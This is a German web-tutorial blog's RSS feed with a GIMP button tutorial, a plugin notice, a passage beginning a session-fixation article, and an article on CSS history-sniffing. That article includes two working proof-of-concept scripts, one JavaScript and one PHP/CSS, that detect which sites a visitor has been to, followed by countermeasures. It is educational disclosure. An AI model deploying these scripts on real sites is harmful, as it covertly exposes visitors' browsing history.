<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Web Tuts</title>
	
	<link>http://www.web-tuts.de</link>
	<description>Tutorials für neue und professionelle Webworker!</description>
	<lastBuildDate>Wed, 24 Nov 2010 16:22:32 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/web-tuts" /><feedburner:info uri="web-tuts" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>web-tuts</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>GIMP Tutorial #3 – Nützliche Web 2.0 Buttons</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/nkxxAPpQ1IU/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html</link>
		<comments>http://www.web-tuts.de/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html#comments</comments>
		<pubDate>Tue, 02 Mar 2010 14:46:09 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[GIMP]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Buttons]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1765</guid>
		<description><![CDATA[
In Zeiten des Web 2.0 sind vor allem Icons und Buttons beliebt geworden.
Da die meisten Tutorials f&#252;r Photoshop gemacht wurden, darf hier ein Tutorial f&#252;r GIMP nat&#252;rlich nicht fehlen.
In diesem Tutorial zeige ich, wie man in wenigen Schritten und mit sehr geringem Aufwand einfache Web 2.0 Icons erstellen kann, die sich besonders f&#252;r neue Projekte/Produkte [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/gimp.jpg" width="300" height="169" alt="GIMP Tutorial" /></div>
<p>In Zeiten des Web 2.0 sind vor allem Icons und Buttons beliebt geworden.</p>
<p>Da die meisten Tutorials f&#252;r Photoshop gemacht wurden, darf hier ein Tutorial f&#252;r GIMP nat&#252;rlich nicht fehlen.</p>
<p>In diesem Tutorial zeige ich, wie man in wenigen Schritten und mit sehr geringem Aufwand einfache Web 2.0 Icons erstellen kann, die sich besonders f&#252;r neue Projekte/Produkte eignen (z.B. die bekannten "BETA" Buttons).</p>

<h2 class="headline">Los geht's</h2>
<p>Zuerst erstellen ein neues Bild mit einer beliebigen Gr&#246;&#223;e (z.B. 400 x 400 Pixel).</p>
<p>Da wir in diesem Tutorial einen Button mit Zacken bzw. Spitzen erstellen werden, erstellen wir einen neuen Pinsel. Dazu klicken wir im Pinseldialog unten auf das Symbol.</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-3-1.gif" width="230" height="308" alt="GIMP - Neuer Pinsel" /></p>
<p>Jetzt &#246;ffnet sich der Pinseleditor. Dort nehmen wir folgende Einstellungen vor:</p>
<ul>
<li>Form: Karo</li>
<li>Radius: 100,0</li>
<li>Spitzen: 20</li>
<li>H&#228;rte: 1,00</li>
</ul>
<p><img src="http://www.web-tuts.de/images/posts/gimp-3-2.gif" width="202" height="361" alt="GIMP Pinseleditor" /></p>
<p>Nun w&#228;hlen wir die Vordergrundfarbe aus, die der Button haben soll.</p>
<p>Danach erstellen wir eine neue transparente Ebene, w&#228;hlen das Pinselwerkzeug mit unseren eben erstellten Pinsel und klicken einmal ins Bild.</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-3-3.gif" width="250" height="250" alt="Einfacher Pinsel" /></p>
<p>Nun machen wir eine Auswahl vom Button (Rechtsklick auf die Ebene > Auswahl aus Alphakanal) und verkleinern sie um 2 Pixel (Auswahl > Verkleinern...).</p>
<p>Danach erstellen wir eine neue transparente Ebene.</p>
<p>Als n&#228;chstes stellen wir die Vordergrundfarbe auf wei&#223;, w&#228;hlen das Verlaufswerkzeug, setzen den Farbverlauf auf "VG nach Transparent" und ziehen den Verlauf auf der Auswahl von oben nach unten. Die Deckkraft setzen wir auf ca. 85%.</p>
<p>Nun erstellen wir wieder eine neue transparente Ebene und umranden die Auswahl (Auswahl > Rand ...). Dort geben wir 1 Pixel an.</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-3-4.gif" width="367" height="230" alt="GIMP - Umrandung hinzuf&#252;gen" /></p>
<p>Jetzt wiederholen wir den Schritt von eben. Mit dem Verlaufswerkzeug ziehen wir einen Verlauf von oben nach unten (VG nach Transparent). Anschlie&#223;end heben wir die Auswahl wieder auf und wenden den grau&#223;schen Weichzeichner mit 1 Pixel an (Filter > Weichzeichnen > Grau&#223;scher Weichzeichner ...).</p>
<p>Je nach Farbe kann die Deckkraft noch etwas runtergeschraubt werden.</p>
<p>Zum Schluss erstellen wir dann noch einen Text und das war's schon.</p>
<h2 class="headline">Das Ergebnis</h2>
<p>Das Ergebnis kann sich f&#252;r den geringen Aufwand doch sehen lassen:</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-3-5.gif" width="500" height="250" alt="Web 2.0 Buttons mit GIMP" /></p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/gimp-tutorial-1-schneebedeckter-text.html" rel="bookmark" title="Permanent Link: GIMP Tutorial #1 &#8211; Schneebedeckter Text">GIMP Tutorial #1 &#8211; Schneebedeckter Text</a></li><li><a href="http://www.web-tuts.de/gimp-tutorial-2-3d-produktboxen.html" rel="bookmark" title="Permanent Link: GIMP Tutorial #2 &#8211; 3D Produktboxen">GIMP Tutorial #2 &#8211; 3D Produktboxen</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/nkxxAPpQ1IU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html</feedburner:origLink></item>
		<item>
		<title>CSS History Hacks – Auslesen von besuchten Webseiten</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/1PVJ2wFj-ms/css-history-hacks-auslesen-von-besuchten-webseiten.html</link>
		<comments>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:06:57 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tricks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1603</guid>
		<description><![CDATA[
Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.
In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/browser-history.jpg" width="302" height="227" alt="Browser History" /></div>
<p>Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. <strong>CSS History Hack</strong> ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.</p>
<p>In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten anhand der Daten identifiziert werden und Angreifer k&#246;nnten diese nutzen, um gezielte <a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html">Phishing-Angriffe</a> durchzuf&#252;hren.</p>
<p>H&#228;ufig wird die Browser History mit <strong>Javascript</strong> ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit <strong>CSS</strong> m&#246;glich sind.</p>

<h2 class="headline">Ursache der Sicherheitsl&#252;cke</h2>
<p>Die Ursache der Sicherheitsl&#252;cke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.</p>
<p>Wurde ein Link also bereits gefolgt, gibt es &#196;nderungen im Stylesheet, die der Browser als Attribute in der History speichert.</p>
<h2 class="headline">Funktionsweise eines Angriffs</h2>
<p>Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet &#252;berpr&#252;ft.</p>
<p>Da die &#220;berpr&#252;fung normalerweise ziemlich schnell ist, k&#246;nnen problemlos tausende URLs innerhalb k&#252;rzester Zeit &#252;berpr&#252;ft werden.</p>
<h2 class="headline">Was Angreifer mit den Daten machen k&#246;nnten</h2>
<p>Das Protential von solchen Angriffen sollte man nicht untersch&#228;tzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr m&#246;glich.</p>
<p>S&#228;mtliche Daten k&#246;nnten ausspioniert werden - besonders in Kombination mit <a href="http://de.wikipedia.org/wiki/Social_Engineering" target="_blank">Social Engineering</a>. Vor allem soziale Netzwerke sind von davon <a href="http://www.spiegel.de/netzwelt/web/0,1518,675395,00.html" target="_blank">betroffen</a>.</p>
<h2 class="headline">Proof-of-Concept</h2>
<p><strong><em>Hinweis:</em></strong> Die Live-Demos / Scripte k&#246;nnt ihr unbedenklich testen. Es werden keine Daten &#252;ber besuchte Webseiten protokolliert, sondern nur dargestellt.</p>
<p>Beide Live Demos wurden mit Firefox und Chrome getestet.</p>
<h3>Ausnutzung per JavaScript</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-js.html" target="_blank">CSS History Hack Beispiel per JavaScript</a></p>
<p>Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.</p>
<pre class="prettyprint"><code>/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot;
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL&#039;s is possible within a few seconds. */
var websites = [
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
];

/* Loop through each URL */
for (var i = 0; i &lt; websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement(&quot;a&quot;);
  link.id = &quot;id&quot; + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write(&#039;&lt;style&gt;&#039;);
  document.write(&#039;#id&#039; + i + &quot;:visited {color: #FF0000;}&quot;);
  document.write(&#039;&lt;/style&gt;&#039;);

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue(&quot;color&quot;);
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == &quot;rgb(255, 0, 0)&quot;) { // visited

    /* add the link to the visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;visited&#039;).appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;notvisited&#039;).appendChild(item);

  } // end visited color check if

} // end URL loop</code></pre>
<p>Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet <strong>a:visited</strong>) wird eine rote Farbe zugewiesen. Anschlie&#223;end wird &#252;berpr&#252;ft, f&#252;r welche Links diese Farbe definiert wurde.</p>
<h3>Ausnutzung per CSS und PHP</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-css.php" target="_blank">CSS History Hack ohne JavaScript</a></p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  header(&#039;Cache-Control: no-store, no-cache, must-revalidate&#039;); // HTTP 1.1
  header(&#039;Cache-Control: post-check=0, pre-check=0, false&#039;); // HTTP 1.0
  header(&#039;Expires: Sat, 26 Jul 1997 05:00:00 GMT&#039;);
  header(&#039;Pragma: no-cache&#039;);

  $websites = array(
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
  );

  $c = count($websites);

  if(empty($_SESSION[&#039;visited&#039;]))
  	$_SESSION[&#039;visited&#039;] = array();

  if(empty($_SESSION[&#039;id&#039;]))
  	$_SESSION[&#039;id&#039;] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER[&#039;QUERY_STRING&#039;]))
  {
    // script wurde via css background image aufgerufen
    if(preg_match(&#039;/([a-f0-9]{32})-(\d*)/i&#039;, $_SERVER[&#039;QUERY_STRING&#039;], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION[&#039;visited&#039;]))
        $_SESSION[&#039;visited&#039;][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION[&#039;visited&#039;]);
?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;style type=&quot;text/css&quot;&gt;
#list { position: absolute; visibility: hidden; }
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;a:visited span.span&#039; . $i . &#039;{background:url(&#039;.basename(__FILE__).&#039;?&#039;.$_SESSION[&#039;id&#039;].&#039;-&#039;.$i.&#039;);color:#c00;}&#039;;
?&gt;
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;list&quot;&gt;
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;&lt;a href=&quot;&#039;.$websites[$i].&#039;&quot;&gt;&#039;.$websites[$i].&#039;&lt;span class=&quot;span&#039;.$i.&#039;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&#039;;
?&gt;
&lt;/div&gt;
&lt;ul id=&quot;visited&quot;&gt;
&lt;?php
  foreach($_SESSION[&#039;visited&#039;] as $visited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$visited.&#039;&quot;&gt;&#039;.$visited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;ul id=&quot;notvisited&quot;&gt;
&lt;?php
  foreach($not_visited as $notvisited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$notvisited.&#039;&quot;&gt;&#039;.$notvisited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>Diese Methode wurde von IT-Wissenschaftlern einer Universit&#228;t vorgestellt und funktioniert auch ohne JavaScript.</p>
<p>Der Trick bei dieser Methode ist, dass im Stylesheet bei <strong>a:visited</strong> mit <strong>background:url()</strong> das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die &#252;bergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.</p>
<p>Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).</p>
<p>Zus&#228;tzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers &#252;bergeben - normalerweise die IP Adresse. Somit k&#246;nnen besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zuf&#228;llig generierter MD5 Hash.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Nun zum wichtigen Teil - wie sch&#252;tzt man sich vor CSS History Hacks?</p>
<p>Es gibt zwei M&#246;glichkeiten, um sich effektiv gegen solche Angriffe zu sch&#252;tzen.</p>
<p><strong>1. Festlegen, dass der verwendete Browser keine History anlegt.</strong></p>
<p>Die beste und sicherste M&#246;glichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese M&#246;glichkeit nutzen.</p>
<p>In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz</p>
<p><img src="http://www.web-tuts.de/images/posts/firefox-chronik.gif" width="599" height="182" alt="Firefox Chronik deaktivieren" /></p>
<p>Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gel&#246;scht werden soll.</p>
<p><strong>2. Browser-Addon nutzen</strong></p>
<p>Eine weitere M&#246;glichkeit ist das Nutzen eines speziellen Browser-Addons. F&#252;r Firefox eignet sich das <a href="http://www.safehistory.com/" target="_blank">SafeHistory</a> Addon von der Stanford Universit&#228;t. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li><li><a href="http://www.web-tuts.de/downloads/" rel="bookmark" title="Permanent Link: Downloads">Downloads</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/1PVJ2wFj-ms" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html</feedburner:origLink></item>
		<item>
		<title>WordPress Plugin: Bulletproof WP Contact Form</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/P6-LVTlldyE/wordpress-plugin-bulletproof-wp-contact-form.html</link>
		<comments>http://www.web-tuts.de/wordpress-plugin-bulletproof-wp-contact-form.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 02:03:29 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Intern]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1593</guid>
		<description><![CDATA[Wie vielleicht einige schon bemerkt haben, wurde eine neue Seite Downloads hinzugef&#252;gt. Dort hatte ich bereits das PHP Kontaktformular Bulletproof Contact Form f&#252;r normale Websites zum Download angeboten. Nun gibt's das ganze auch als WordPress Plugin.
Alle n&#246;tigen Infos dazu findet ihr auf der Downloadseite des Plugins.
Auch interessant:DownloadsBulletproof WP Contact FormBulletproof Contact Form25+ aktuelle Cheat Sheets [...]]]></description>
			<content:encoded><![CDATA[<p>Wie vielleicht einige schon bemerkt haben, wurde eine neue Seite <a href="http://www.web-tuts.de/downloads/">Downloads</a> hinzugef&#252;gt. Dort hatte ich bereits das PHP Kontaktformular <strong>Bulletproof Contact Form</strong> f&#252;r normale Websites zum Download angeboten. Nun gibt's das ganze auch als WordPress Plugin.</p>
<p>Alle n&#246;tigen Infos dazu findet ihr auf der <a href="http://www.web-tuts.de/downloads/bulletproof-wordpress-contact-form/">Downloadseite</a> des Plugins.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/downloads/" rel="bookmark" title="Permanent Link: Downloads">Downloads</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-wordpress-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof WP Contact Form">Bulletproof WP Contact Form</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof Contact Form">Bulletproof Contact Form</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/wordpress-plugin-bulletproof-wp-contact-form.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/P6-LVTlldyE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/wordpress-plugin-bulletproof-wp-contact-form.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/wordpress-plugin-bulletproof-wp-contact-form.html</feedburner:origLink></item>
		<item>
		<title>PHP Session Sicherheit – Session Fixation</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/acz9xGkFCTI/php-session-sicherheit-session-fixation.html</link>
		<comments>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:31:06 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Hijacking]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1131</guid>
		<description><![CDATA[
Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.
Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.
F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/session-fixation.jpg" width="202" height="202" alt="Session Fixation" /></div>
<p>Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.</p>
<p>Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.</p>
<p>F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern k&#246;nnen und somit eine zusammenh&#228;ngende Kommunikation erm&#246;glichen.</p>
<p>Sessions sind aber nicht nur n&#252;tzlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um <strong>Session Fixation</strong>.</p>

<h2 class="headline">Sessions allgemein</h2>
<p><strong>Session Files</strong></p>
<p>Durch eine Session k&#246;nnen einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (tempor&#228;r) gespeichert werden.</p>
